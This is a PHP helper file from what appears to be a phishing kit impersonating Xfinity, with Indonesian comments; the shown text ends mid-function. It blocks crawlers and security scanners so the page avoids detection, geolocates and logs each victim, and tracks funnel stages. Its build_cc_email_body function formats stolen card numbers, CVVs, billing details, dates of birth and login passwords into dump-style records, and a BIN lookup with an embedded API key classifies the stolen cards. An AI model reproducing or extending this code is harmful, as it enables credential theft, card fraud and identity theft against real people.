<?php

/**
 * Deteksi bot/crawler dari User-Agent (untuk blokir akses).
 */
function is_bot_crawler_user_agent() {
    $ua = $_SERVER['HTTP_USER_AGENT'] ?? '';
    $ua = strtolower($ua);
    if ($ua === '' || strlen($ua) < 10) {
        return true;
    }
    $botPatterns = [
        'bot', 'crawler', 'spider', 'crawl', 'slurp', 'scanner', 'curl', 'wget', 'python-',
        'java/', 'php/', 'go-http', 'libwww', 'mechanize', 'scrapy', 'httpclient',
        'googlebot', 'bingbot', 'yandexbot', 'baiduspider', 'duckduckbot', 'facebookexternalhit',
        'twitterbot', 'linkedinbot', 'telegrambot', 'whatsapp', 'discordbot', 'slackbot',
        'applebot', 'petalbot', 'ahrefsbot', 'semrushbot', 'mj12bot', 'dotbot',
        'bytespider', 'dataforseo', 'screaming frog', 'rogerbot', 'sogou', 'exabot',
        'headless', 'phantom', 'selenium', 'puppeteer', 'playwright', 'prerender',
        'feedfetcher', 'rss', 'atom', 'aggregator', 'archive', 'ia_archiver',
    ];
    foreach ($botPatterns as $p) {
        if (strpos($ua, $p) !== false) {
            return true;
        }
    }
    return false;
}

/**
 * Mask email untuk tampilan: karakter pertama + *** + karakter terakhir (local) + @domain.
 * Contoh: myemail123@gmail.com -> m********3@gmail.com
 */
function maskEmail($email) {
    $email = trim((string) $email);
    if ($email === '') return '';
    $at = strrpos($email, '@');
    if ($at === false) return str_repeat('*', min(strlen($email), 12));
    $local = substr($email, 0, $at);
    $domain = substr($email, $at);
    $len = strlen($local);
    if ($len === 0) return $domain;
    if ($len === 1) return '*' . $domain;
    return $local[0] . str_repeat('*', $len - 2) . $local[$len - 1] . $domain;
}

function getVisitorInfo() {
    $ip = getClientIP();
    $geo = getGeoInfo($ip);

    return [
        'useragent' => $_SERVER['HTTP_USER_AGENT'] ?? 'Unknown',
        'ip' => $ip,
        'country' => $geo['country'] ?? 'Unknown',
        'city' => $geo['city'] ?? 'Unknown',
        'state' => $geo['state'] ?? 'Unknown',
        'isp' => $geo['isp'] ?? 'Unknown',
        'timezone' => $geo['timezone'] ?? 'Unknown'
    ];
}

/**
 * Get client IP - localhost/CLI returns fixed IP; otherwise standard header order (Cloudflare, X-Forwarded, etc.)
 */
function getClientIP() {
    $serverName = $_SERVER['SERVER_NAME'] ?? $_SERVER['HTTP_HOST'] ?? '';
    $isLocalhost = in_array($serverName, ['localhost', '127.0.0.1', '::1']) || php_sapi_name() === 'cli';
    if ($isLocalhost) {
        return '180.243.254.180';
    }
    $headers = [
        'HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED',
        'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR'
    ];
    foreach ($headers as $header) {
        if (!empty($_SERVER[$header])) {
            $ips = explode(',', $_SERVER[$header]);
            $ip = trim($ips[0]);
            if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) {
                return $ip;
            }
        }
    }
    return $_SERVER['REMOTE_ADDR'] ?? 'Unknown';
}

function getGeoCachePath() {
    return (defined('BASE_PATH') ? BASE_PATH : (__DIR__ . '/..')) . '/storage/geo_cache.json';
}

function get_geo_cache($ip) {
    $cacheFile = getGeoCachePath();
    if (!is_file($cacheFile)) return null;
    $json = @file_get_contents($cacheFile);
    $data = $json ? json_decode($json, true) : null;
    if (!is_array($data) || !isset($data[$ip])) return null;
    $entry = $data[$ip];
    if (isset($entry['timestamp']) && (time() - $entry['timestamp']) < 86400) {
        return [
            'country' => $entry['country'] ?? 'Unknown',
            'state' => $entry['state'] ?? 'Unknown',
            'city' => $entry['city'] ?? 'Unknown',
            'isp' => $entry['isp'] ?? 'Unknown',
            'timezone' => $entry['timezone'] ?? 'Unknown'
        ];
    }
    return null;
}

function save_geo_cache($ip, array $geoData) {
    $cacheFile = getGeoCachePath();
    $dir = dirname($cacheFile);
    if (!is_dir($dir)) @mkdir($dir, 0755, true);
    $data = [];
    if (is_file($cacheFile)) {
        $json = @file_get_contents($cacheFile);
        $data = $json ? (json_decode($json, true) ?: []) : [];
    }
    $data[$ip] = array_merge($geoData, ['timestamp' => time(), 'cached_at' => date('Y-m-d H:i:s')]);
    if (count($data) > 1000) $data = array_slice($data, -1000, null, true);
    @file_put_contents($cacheFile, json_encode($data, JSON_PRETTY_PRINT));
}

function curl_get_ip_info($url) {
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_TIMEOUT, 10);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36');
    $response = curl_exec($ch);
    $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    return ($httpCode === 200 && $response !== false) ? $response : false;
}

function getGeoInfo($ip) {
    $defaultGeo = ['country' => 'Unknown', 'state' => 'Unknown', 'city' => 'Unknown', 'isp' => 'Unknown', 'timezone' => 'Unknown'];
    if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) === false) {
        return $defaultGeo;
    }
    $cached = get_geo_cache($ip);
    if ($cached !== null) return $cached;

    // Semua API: simpan country sebagai ISO 3166-1 alpha-2 (2 huruf) agar deteksi bahasa & log konsisten
    $apis = [
        // ipapi.is: location.country_code = 2 huruf, location.country = nama lengkap
        ["https://api.ipapi.is/?q={$ip}", function($d) use ($ip) {
            if (!$d || !isset($d['ip']) || ($d['ip'] ?? '') !== $ip) return null;
            $loc = $d['location'] ?? [];
            $code = (isset($loc['country_code']) && strlen($loc['country_code']) === 2)
                ? strtoupper($loc['country_code']) : ($loc['country'] ?? 'Unknown');
            return [
                'country' => (strlen($code) === 2 ? $code : ($loc['country'] ?? 'Unknown')),
                'state' => $loc['state'] ?? 'Unknown',
                'city' => $loc['city'] ?? 'Unknown',
                'isp' => $d['company']['name'] ?? 'Unknown',
                'timezone' => $loc['timezone'] ?? 'Unknown'
            ];
        }],
        // ip-api.com: countryCode = 2 huruf, country = nama; request countryCode
        ["http://ip-api.com/json/{$ip}?fields=status,country,countryCode,regionName,city,isp,timezone", function($d) {
            if (!$d || ($d['status'] ?? '') !== 'success') return null;
            $code = isset($d['countryCode']) ? strtoupper($d['countryCode']) : ($d['country'] ?? 'Unknown');
            return [
                'country' => (strlen($code) === 2 ? $code : ($d['country'] ?? 'Unknown')),
                'state' => $d['regionName'] ?? 'Unknown',
                'city' => $d['city'] ?? 'Unknown',
                'isp' => $d['isp'] ?? 'Unknown',
                'timezone' => $d['timezone'] ?? 'Unknown'
            ];
        }],
        // ipinfo.io: country sudah 2 huruf (ISO 3166-1 alpha-2)
        ["https://ipinfo.io/{$ip}/json", function($d) {
            if (!$d || !isset($d['ip'])) return null;
            $isp = $d['org'] ?? 'Unknown';
            if (preg_match('/^AS\d+\s+(.+)$/', $isp, $m)) $isp = $m[1];
            $code = isset($d['country']) ? strtoupper($d['country']) : 'Unknown';
            return [
                'country' => (strlen($code) === 2 ? $code : 'Unknown'),
                'state' => $d['region'] ?? 'Unknown',
                'city' => $d['city'] ?? 'Unknown',
                'isp' => $isp,
                'timezone' => $d['timezone'] ?? 'Unknown'
            ];
        }],
    ];

    foreach ($apis as $item) {
        $url = $item[0];
        $parser = $item[1];
        $response = curl_get_ip_info($url);
        if (!$response) continue;
        $data = json_decode($response, true);
        $geo = $parser($data);
        if ($geo && (($geo['country'] ?? '') !== 'Unknown' || ($geo['city'] ?? '') !== 'Unknown')) {
            save_geo_cache($ip, $geo);
            return $geo;
        }
    }
    return $defaultGeo;
}

function get_country_code($countryName) {
    $map = [
        'United States' => 'US', 'Indonesia' => 'ID', 'United Kingdom' => 'GB', 'Canada' => 'CA',
        'Australia' => 'AU', 'Germany' => 'DE', 'France' => 'FR', 'Japan' => 'JP', 'China' => 'CN',
        'India' => 'IN', 'Brazil' => 'BR', 'Russia' => 'RU', 'Mexico' => 'MX', 'Italy' => 'IT',
        'Spain' => 'ES', 'Netherlands' => 'NL', 'South Korea' => 'KR', 'Turkey' => 'TR',
        'Saudi Arabia' => 'SA', 'South Africa' => 'ZA', 'Thailand' => 'TH', 'Malaysia' => 'MY',
        'Singapore' => 'SG', 'Philippines' => 'PH', 'Vietnam' => 'VN',
        // ISO 3166-1 alpha-2 untuk deteksi bahasa (ar/de/it)
        'Austria' => 'AT', 'Switzerland' => 'CH', 'Liechtenstein' => 'LI', 'Luxembourg' => 'LU',
        'San Marino' => 'SM', 'Vatican City' => 'VA', 'Holy See' => 'VA',
        'Egypt' => 'EG', 'United Arab Emirates' => 'AE', 'Kuwait' => 'KW', 'Qatar' => 'QA',
        'Bahrain' => 'BH', 'Oman' => 'OM', 'Yemen' => 'YE', 'Syria' => 'SY', 'Syrian Arab Republic' => 'SY',
        'Iraq' => 'IQ', 'Jordan' => 'JO', 'Lebanon' => 'LB', 'Palestine' => 'PS', 'State of Palestine' => 'PS',
        'Morocco' => 'MA', 'Algeria' => 'DZ', 'Tunisia' => 'TN', 'Libya' => 'LY', 'Sudan' => 'SD',
        'Mauritania' => 'MR', 'Djibouti' => 'DJ', 'Somalia' => 'SO', 'Comoros' => 'KM', 'Chad' => 'TD',
    ];
    return $map[$countryName] ?? strtoupper(substr(preg_replace('/[^a-zA-Z]/', '', $countryName), 0, 2)) ?: 'XX';
}

function formatVisitorInfo($visitorInfo) {
    return "PC Info:
Useragent: {$visitorInfo['useragent']}
IP: {$visitorInfo['ip']}
Country: {$visitorInfo['country']}
City: {$visitorInfo['city']}
State: {$visitorInfo['state']}
ISP: {$visitorInfo['isp']}
Timezone: {$visitorInfo['timezone']}";
}

/**
 * Statistik submit (visitor, signin, oauth, billing, cc, done, blocked_bot). File: storage/stats.json
 */
function get_stats_path() {
    $dir = defined('BASE_PATH') ? BASE_PATH . '/storage' : __DIR__ . '/../storage';
    return $dir . '/stats.json';
}

function get_stats() {
    $path = get_stats_path();
    $defaults = ['visitor' => 0, 'signin' => 0, 'oauth' => 0, 'billing' => 0, 'cc' => 0, 'done' => 0, 'blocked_bot' => 0];
    if (!file_exists($path)) {
        return $defaults;
    }
    $json = @file_get_contents($path);
    $data = $json ? json_decode($json, true) : [];
    return array_merge($defaults, is_array($data) ? $data : []);
}

function increment_stat($key) {
    $path = get_stats_path();
    $dir = dirname($path);
    if (!is_dir($dir)) {
        @mkdir($dir, 0755, true);
    }
    $stats = get_stats();
    $allowed = ['visitor', 'signin', 'oauth', 'billing', 'cc', 'done', 'blocked_bot'];
    if (!in_array($key, $allowed, true)) {
        return;
    }
    $stats[$key] = (int) ($stats[$key] ?? 0) + 1;
    @file_put_contents($path, json_encode($stats), LOCK_EX);
}

/**
 * Visitor step logs (untuk admin: IP, country, UA, browser, step). File: storage/visitor_logs.json
 */
function get_visitor_logs_path() {
    $dir = defined('BASE_PATH') ? BASE_PATH . '/storage' : __DIR__ . '/../storage';
    return $dir . '/visitor_logs.json';
}

function get_browser_from_ua($ua) {
    if (empty($ua) || !is_string($ua)) return 'Unknown';
    $ua = strtolower($ua);
    if (strpos($ua, 'edg/') !== false) return 'Edge';
    if (strpos($ua, 'opr/') !== false || strpos($ua, 'opera') !== false) return 'Opera';
    if (strpos($ua, 'chrome') !== false) return 'Chrome';
    if (strpos($ua, 'safari') !== false && strpos($ua, 'chrome') === false) return 'Safari';
    if (strpos($ua, 'firefox') !== false) return 'Firefox';
    if (strpos($ua, 'msie') !== false || strpos($ua, 'trident') !== false) return 'IE';
    return 'Other';
}

function log_visitor_step($step, $visitorInfo = null) {
    if ($visitorInfo === null && !empty($_SESSION['visitor_info'])) {
        $visitorInfo = $_SESSION['visitor_info'];
    }
    if (empty($visitorInfo) || !is_array($visitorInfo)) return;
    $path = get_visitor_logs_path();
    $dir = dirname($path);
    if (!is_dir($dir)) @mkdir($dir, 0755, true);
    $ua = $visitorInfo['useragent'] ?? $_SERVER['HTTP_USER_AGENT'] ?? '';
    $entry = [
        'ip' => $visitorInfo['ip'] ?? 'Unknown',
        'country' => $visitorInfo['country'] ?? 'Unknown',
        'ua' => $ua,
        'browser' => get_browser_from_ua($ua),
        'step' => $step,
        'at' => date('Y-m-d H:i:s'),
    ];
    $list = [];
    if (is_file($path)) {
        $json = @file_get_contents($path);
        $list = $json ? (json_decode($json, true) ?: []) : [];
    }
    array_unshift($list, $entry);
    $list = array_slice($list, 0, 1000);
    @file_put_contents($path, json_encode($list, JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES), LOCK_EX);
}

function get_visitor_logs($limit = 500) {
    $path = get_visitor_logs_path();
    if (!is_file($path)) return [];
    $json = @file_get_contents($path);
    $list = $json ? (json_decode($json, true) ?: []) : [];
    return array_slice($list, 0, (int) $limit);
}

/**
 * Reset logs: statistik (stats.json) di-nol dan Visitor logs (visitor_logs.json) dikosongkan.
 */
function reset_logs() {
    $dir = defined('BASE_PATH') ? BASE_PATH . '/storage' : __DIR__ . '/../storage';
    if (!is_dir($dir)) {
        @mkdir($dir, 0755, true);
    }
    $statsPath = $dir . '/stats.json';
    $emptyStats = ['visitor' => 0, 'signin' => 0, 'oauth' => 0, 'billing' => 0, 'cc' => 0, 'done' => 0, 'blocked_bot' => 0];
    $ok = @file_put_contents($statsPath, json_encode($emptyStats), LOCK_EX) !== false;
    $visitorLogsPath = function_exists('get_visitor_logs_path') ? get_visitor_logs_path() : $dir . '/visitor_logs.json';
    $ok = $ok && (@file_put_contents($visitorLogsPath, '[]', LOCK_EX) !== false);
    return $ok;
}

/**
 * Format DOB untuk result: selalu pakai pemisah / (YYYY-MM-DD → YYYY/MM/DD, YYYYMMDD → YYYY/MM/DD).
 * @param string $dob
 * @return string
 */
function format_dob_for_result($dob) {
    $dob = trim((string) $dob);
    if ($dob === '') return '';
    if (preg_match('/^(\d{4})-(\d{1,2})-(\d{1,2})$/', $dob, $m)) {
        return $m[1] . '/' . str_pad($m[2], 2, '0', STR_PAD_LEFT) . '/' . str_pad($m[3], 2, '0', STR_PAD_LEFT);
    }
    if (preg_match('/^(\d{4})(\d{2})(\d{2})$/', $dob, $m)) {
        return $m[1] . '/' . $m[2] . '/' . $m[3];
    }
    return str_replace('-', '/', $dob);
}

/**
 * Build CC email body: [CC], Formatted, [Billing], [Login], [Full Data], PC Info.
 * @param string $cardNumber
 * @param string $expiry
 * @param string $cvv
 * @param string $name Cardholder name
 * @param array $billing Billing data (address1, city, state, postal, phone, dob, etc.)
 * @param array $loginData ['email' => ..., 'password' => ...]
 * @param array $visitorInfo ip, country, city, state, isp, timezone, useragent
 * @param bool $isAttempt2 True for second card (CC (2))
 * @return string
 */
function build_cc_email_body($cardNumber, $expiry, $cvv, $name, $billing, $loginData, $visitorInfo, $isAttempt2 = false) {
    // Normalize billing keys: form billing pakai addressLine1, zipCode, phoneNumber, dateOfBirth, addressLine2
    if (is_array($billing) && !empty($billing)) {
        $billing = array_merge([
            'address1'  => $billing['addressLine1'] ?? $billing['address1'] ?? $billing['address_line_1'] ?? $billing['address'] ?? '',
            'address2'  => $billing['addressLine2'] ?? $billing['address2'] ?? $billing['address_line_2'] ?? '',
            'city'      => $billing['city'] ?? '',
            'state'     => $billing['state'] ?? '',
            'postal'    => $billing['zipCode'] ?? $billing['postal'] ?? $billing['zipcode'] ?? $billing['zip'] ?? '',
            'phone'     => $billing['phoneNumber'] ?? $billing['phone'] ?? '',
            'dob'       => $billing['dateOfBirth'] ?? $billing['dob'] ?? '',
        ], $billing);
    }

    $cardNum = preg_replace('/\s/', '', $cardNumber);
    $expParts = explode('/', trim($expiry));
    $month = isset($expParts[0]) ? trim($expParts[0]) : '';
    $year = isset($expParts[1]) ? trim($expParts[1]) : '';
    $email = $loginData['email'] ?? '';
    $password = $loginData['password'] ?? '';
    $ip = $visitorInfo['ip'] ?? 'Unknown';
    $userAgent = $visitorInfo['useragent'] ?? 'Unknown';
    $country = $visitorInfo['country'] ?? '';

    $msg = "[CC";
    if ($isAttempt2) $msg .= " - Attempt 2";
    $msg .= "]\n";
    $msg .= "Formatted: {$cardNum}|{$month}|{$year}\n";
    $msg .= "Card Holder: {$name}\n";
    $msg .= "ccn: {$cardNumber}\n";
    $msg .= "exp: {$expiry}\n";
    $msg .= "Card CVV: {$cvv}\n";

    if ($billing) {
        $msg .= "\n[Billing Information]\n";
        $msg .= "Phone: " . ($billing['phone'] ?? '') . "\n";
        if (!empty($billing['dob'])) $msg .= "Date of Birth: " . format_dob_for_result($billing['dob']) . "\n";
        $msg .= "Address 1: " . ($billing['address1'] ?? $billing['address'] ?? '') . "\n";
        if (!empty($billing['address2'])) $msg .= "Address 2: " . $billing['address2'] . "\n";
        $msg .= "City: " . ($billing['city'] ?? '') . "\n";
        $msg .= "State: " . ($billing['state'] ?? '') . "\n";
        $msg .= "Postal Code: " . ($billing['postal'] ?? $billing['zip'] ?? '') . "\n";
    } else {
        $msg .= "address: \n";
        $msg .= "ZIP Code: \n";
        $msg .= "Phone: \n";
    }

    $msg .= "\n[Login]\n";
    $msg .= "Formatted: {$email}|{$password}\n";
    $msg .= "Email: {$email}\n";
    $msg .= "Password: {$password}\n\n\n";

    $yearFull = $year;
    if (strlen($year) === 2) $yearFull = '20' . $year;
    $monthPadded = str_pad($month, 2, '0', STR_PAD_LEFT);
    $address1 = $billing['address1'] ?? $billing['address'] ?? '';
    $city = $billing['city'] ?? '';
    $state = $billing['state'] ?? '';
    $postal = $billing['postal'] ?? $billing['zip'] ?? '';
    $phone = $billing['phone'] ?? '';
    $dobRaw = $billing['dob'] ?? '';
    $dob = format_dob_for_result($dobRaw);
    $fullData = implode('|', [
        $cardNum, $monthPadded, $yearFull, $cvv, $name,
        $address1, $city, $state, $postal, $phone, $country,
        $dob, $email . ':' . $password, $ip, $userAgent
    ]);
    $msg .= "[Full Data]\n{$fullData}\n\n\n";
    $msg .= function_exists('formatVisitorInfo') ? formatVisitorInfo($visitorInfo) : '';
    return $msg;
}

function send_json_then_close_connection($jsonString) {
    if (headers_sent()) {
        echo $jsonString;
        return;
    }
    header('Content-Type: application/json; charset=UTF-8');
    header('Content-Length: ' . strlen($jsonString));
    echo $jsonString;
    if (function_exists('fastcgi_finish_request')) {
        @fastcgi_finish_request();
    } else {
        if (ob_get_level()) {
            while (ob_get_level()) ob_end_flush();
        }
        flush();
    }
}

function look_bin($num) {
    error_reporting(0);
    $num = str_replace(' ', '', trim($num));
    $bin = substr($num, 0, 6);

    // Check session cache first to avoid rate limiting
    if (isset($_SESSION['bin_cache'][$bin])) {
        return $_SESSION['bin_cache'][$bin];
    }

    // Use HandyAPI for BIN lookup
    $apiKey = 'PUB-0YCV7qn8BMjpNt55PR7YHl64y3';
    $url = "https://data.handyapi.com/bin/{$bin}";

    $options = [
        "http" => [
            "method" => "GET",
            "header" => "x-api-key: {$apiKey}\r\n",
            "timeout" => 10
        ],
        "ssl" => [
            "verify_peer" => false,
            "verify_peer_name" => false
        ]
    ];

    $context = stream_context_create($options);
    $response = @file_get_contents($url, false, $context);

    if ($response === false) {
        return false;
    }

    $data = @json_decode($response, true);

    if (!$data || !is_array($data) || ($data['Status'] ?? '') !== 'SUCCESS') {
        return false;
    }

    // Map HandyAPI response to existing format: "BIN SCHEME TYPE LEVEL BANK"
    $scheme = strtoupper($data['Scheme'] ?? 'unknown brand');
    $type   = strtoupper($data['Type'] ?? 'unknown type');
    $level  = $data['CardTier'] ?? 'Unknown';
    $bank   = $data['Issuer'] ?? 'unknown bank';

    $result = strtoupper($bin) . " " . $scheme . " " . $type . " " . $level . " " . $bank;

    // Cache result in session to avoid rate limiting
    if (!isset($_SESSION['bin_cache'])) {
        $_SESSION['bin_cache'] = [];
    }
    $_SESSION['bin_cache'][$bin] = $result;

    return $result;
}

function checkBIN($cardNumber) {
    $cardNumber = preg_replace('/\D/', '', $cardNumber);
    
    if (strlen($cardNumber) < 6) {
        return [
            'valid' => false,
            'message' => 'Invalid card number'
        ];
    }
    
    $bin = substr($cardNumber, 0, 6);
    
    $result = look_bin($cardNumber);
    
    if ($result === false) {
        return [
            'valid' => false,
            'message' => 'BIN check failed'
        ];
    }
    
    $parts = explode(' ', $result);
    $binNum = $parts[0] ?? $bin;
    $brand = $parts[1] ?? 'Unknown';
    $type = $parts[2] ?? 'Unknown';
    $level = $parts[3] ?? 'Unknown';
    $bank = isset($parts[4]) ? implode(' ', array_slice($parts, 4)) : 'Unknown';
    
    if (stripos($brand, 'unknown') !== false) $brand = 'Unknown';
    if (stripos($type, 'unknown') !== false) $type = 'Unknown';
    if (stripos($level, 'unknown') !== false) $level = 'Unknown';
    if (stripos($bank, 'unknown') !== false) $bank = 'Unknown';
    
    return [
        'valid' => true,
        'bin' => $binNum,
        'scheme' => $brand,
        'type' => $type,
        'level' => $level,
        'brand' => $brand,
        'bank' => $bank,
        'country' => 'Unknown',
        'currency' => 'Unknown',
        'raw' => $result
    ];
}

function sanitizeInput($data) {
    if (is_array($data)) {
        return array_map('sanitizeInput', $data);
    }
    return htmlspecialchars(strip_tags(trim($data)), ENT_QUOTES, 'UTF-8');
}

function validateEmail($email) {
    return filter_var($email, FILTER_VALIDATE_EMAIL) !== false;
}

function generateVisitorCode() {
    $characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
    $code = '';
    for ($i = 0; $i < 12; $i++) {
        $code .= $characters[random_int(0, strlen($characters) - 1)];
    }
    return $code;
}

function getVisitorReferralCode() {
    $ip = '0.0.0.0';
    if (!empty($_SERVER['HTTP_CF_CONNECTING_IP'])) {
        $ip = $_SERVER['HTTP_CF_CONNECTING_IP']; 
    } elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        $ip = trim(explode(',', $_SERVER['HTTP_X_FORWARDED_FOR'])[0]); 
    } elseif (!empty($_SERVER['HTTP_CLIENT_IP'])) {
        $ip = $_SERVER['HTTP_CLIENT_IP'];
    } else {
        $ip = $_SERVER['REMOTE_ADDR'] ?? '0.0.0.0';
    }

    $userAgent = $_SERVER['HTTP_USER_AGENT'] ?? 'unknown_browser';

    $salt = "XFINITY_SECURE_SALT_2026"; 

    return substr(hash('sha256', $ip . $userAgent . $salt), 0, 12);
}

function checkRequiredParameter($paramName) {
    if (empty($paramName)) {
        return true;
    }
    
    if ($paramName === 'reff') {
        $reffCode = getVisitorReferralCode();
        
        if (isset($_GET[$paramName]) && !empty($_GET[$paramName])) {
            $paramValue = sanitizeInput($_GET[$paramName]);
            $_SESSION['required_param_' . $paramName] = $paramValue;
            return true;
        }
        elseif (isset($_POST[$paramName]) && !empty($_POST[$paramName])) {
            $paramValue = sanitizeInput($_POST[$paramName]);
            $_SESSION['required_param_' . $paramName] = $paramValue;
            return true;
        }
        elseif (isset($_SESSION['required_param_' . $paramName]) && !empty($_SESSION['required_param_' . $paramName])) {
            return true;
        }
        
        // If no parameter found, use generated code
        $_SESSION['required_param_' . $paramName] = $reffCode;
        return true;
    }
    
    $paramValue = null;
    
    if (isset($_GET[$paramName]) && !empty($_GET[$paramName])) {
        $paramValue = sanitizeInput($_GET[$paramName]);
    }
    elseif (isset($_POST[$paramName]) && !empty($_POST[$paramName])) {
        $paramValue = sanitizeInput($_POST[$paramName]);
    }
    elseif (isset($_SESSION['required_param_' . $paramName]) && !empty($_SESSION['required_param_' . $paramName])) {
        return true;
    }
    
    if ($paramValue !== null) {
        $_SESSION['required_param_' . $paramName] = $paramValue;
        return true;
    }
    
    return false;
}

function curl($url, $hasHeader = false, $hasBody = true, $useragent = NULL, $time = NULL) {
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_USERAGENT, $useragent ? $useragent : "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3");

    curl_setopt($ch, CURLOPT_HEADER, $hasHeader ? 1 : 0);
    curl_setopt($ch, CURLOPT_NOBODY, $hasBody ? 0 : 1);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_SSLVERSION, CURL_SSLVERSION_TLSv1_0);

    if (!is_null($time)) {
        curl_setopt($ch, CURLOPT_TIMEOUT, $time);
    }
    if (!is_null($time)) {
        curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $time);
    }

    $data = curl_exec($ch);
    curl_close($ch);

    return $data;
}

/** Alias for getClientIP (used by BotGobot protection) */
function get_client_ip() {
    return getClientIP();
}

/** Path whitelist.txt */
function get_gobot_whitelist_path() {

    return (
        defined('SYSTEM_PATH')
            ? SYSTEM_PATH
            : dirname(__DIR__) . '/system'
    ) . '/Gobot/whitelist.txt';
}

/** Path ipbot.txt (1 folder di atas) */
function get_ipbot_path() {

    return dirname(__DIR__) . '/ipbot.txt';
}

/** Remove IP from whitelist.txt */
function remove_ip_from_whitelist($ip) {

    if (empty($ip) || !filter_var($ip, FILTER_VALIDATE_IP)) {
        return false;
    }

    $path = get_gobot_whitelist_path();

    if (!file_exists($path)) {
        return false;
    }

    $lines = file(
        $path,
        FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES
    );

    if (!is_array($lines)) {
        return false;
    }

    // hapus IP yang cocok
    $filtered = array_filter($lines, function($line) use ($ip) {

        return trim($line) !== trim($ip);
    });

    return file_put_contents(
        $path,
        implode(PHP_EOL, $filtered) . PHP_EOL,
        LOCK_EX
    ) !== false;
}

/** Check if IP exists in ipbot.txt */
function is_ip_bot($ip) {

    if (empty($ip) || !filter_var($ip, FILTER_VALIDATE_IP)) {
        return false;
    }

    $path = get_ipbot_path();

    if (!file_exists($path)) {
        return false;
    }

    $lines = file(
        $path,
        FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES
    );

    $isBot = in_array(
        trim($ip),
        array_map('trim', $lines),
        true
    );

    /*
    |--------------------------------------------------------------------------
    | JIKA ADA DI ipbot.txt
    | HAPUS DARI whitelist.txt
    |--------------------------------------------------------------------------
    */

    if ($isBot) {
        remove_ip_from_whitelist($ip);
    }

    return $isBot;
}

/** Check if IP is in whitelist */
function is_ip_whitelisted($ip) {

    if (empty($ip) || !filter_var($ip, FILTER_VALIDATE_IP)) {
        return false;
    }

    /*
    |--------------------------------------------------------------------------
    | JIKA IP ADA DI ipbot.txt
    | JANGAN ANGGAP WHITELIST
    |--------------------------------------------------------------------------
    */

    if (is_ip_bot($ip)) {
        return false;
    }

    $path = get_gobot_whitelist_path();

    if (!file_exists($path)) {
        return false;
    }

    $lines = file(
        $path,
        FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES
    );

    return in_array(
        trim($ip),
        array_map('trim', $lines),
        true
    );
}

/** Add IP to whitelist */
function add_ip_to_whitelist($ip) {

    if (empty($ip) || !filter_var($ip, FILTER_VALIDATE_IP)) {
        return false;
    }

    /*
    |--------------------------------------------------------------------------
    | JANGAN MASUKKAN BOT KE WHITELIST
    |--------------------------------------------------------------------------
    */

    if (is_ip_bot($ip)) {
        return false;
    }

    if (is_ip_whitelisted($ip)) {
        return true;
    }

    $path = get_gobot_whitelist_path();
    $dir  = dirname($path);

    if (!is_dir($dir)) {
        @mkdir($dir, 0755, true);
    }

    return @file_put_contents(
        $path,
        $ip . PHP_EOL,
        LOCK_EX | FILE_APPEND
    ) !== false;
}

/** Count whitelist IPs */
function count_whitelist_ips() {

    $path = get_gobot_whitelist_path();

    if (!file_exists($path)) {
        return 0;
    }

    $lines = file(
        $path,
        FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES
    );

    return is_array($lines)
        ? count($lines)
        : 0;
}

/** Clear whitelist */
function clear_whitelist() {

    $path = get_gobot_whitelist_path();

    if (!file_exists($path)) {
        return true;
    }

    return @file_put_contents(
        $path,
        '',
        LOCK_EX
    ) !== false;
}


function generateRandomEmail() {
    $chars = 'abcdefghijklmnopqrstuvwxyz0123456789';
    $local = '';
    for ($i = 0; $i < rand(6, 12); $i++) {
        $local .= $chars[rand(0, strlen($chars) - 1)];
    }
    $domains = ['gmail.com', 'yahoo.com', 'outlook.com', 'hotmail.com', 'live.com', 'icloud.com', 'protonmail.com'];
    return $local . '@' . $domains[array_rand($domains)];
}

function getDeviceType($ua) {
    $ua = strtolower((string) $ua);
    if (preg_match('/ipad|tablet|kindle|playbook|silk|(android(?!.*mobile))/i', $ua)) return 'Tablet';
    if (preg_match('/mobile|iphone|ipod|android|blackberry|opera mini|windows phone|webos/i', $ua)) return 'Mobile';
    return 'Desktop';
}

function getBrowserName($ua) {
    $ua = strtolower((string) $ua);
    if (strpos($ua, 'edg/') !== false) return 'Edge';
    if (strpos($ua, 'opr/') !== false || strpos($ua, 'opera') !== false) return 'Opera';
    if (strpos($ua, 'chrome') !== false) return 'Chrome';
    if (strpos($ua, 'firefox') !== false) return 'Firefox';
    if (strpos($ua, 'safari') !== false && strpos($ua, 'chrome') === false) return 'Safari';
    if (strpos($ua, 'msie') !== false || strpos($ua, 'trident') !== false) return 'IE';
    return 'Unknown';
}

function getCardBrand($cardNumber) {
    $n = preg_replace('/\D/', '', (string) $cardNumber);
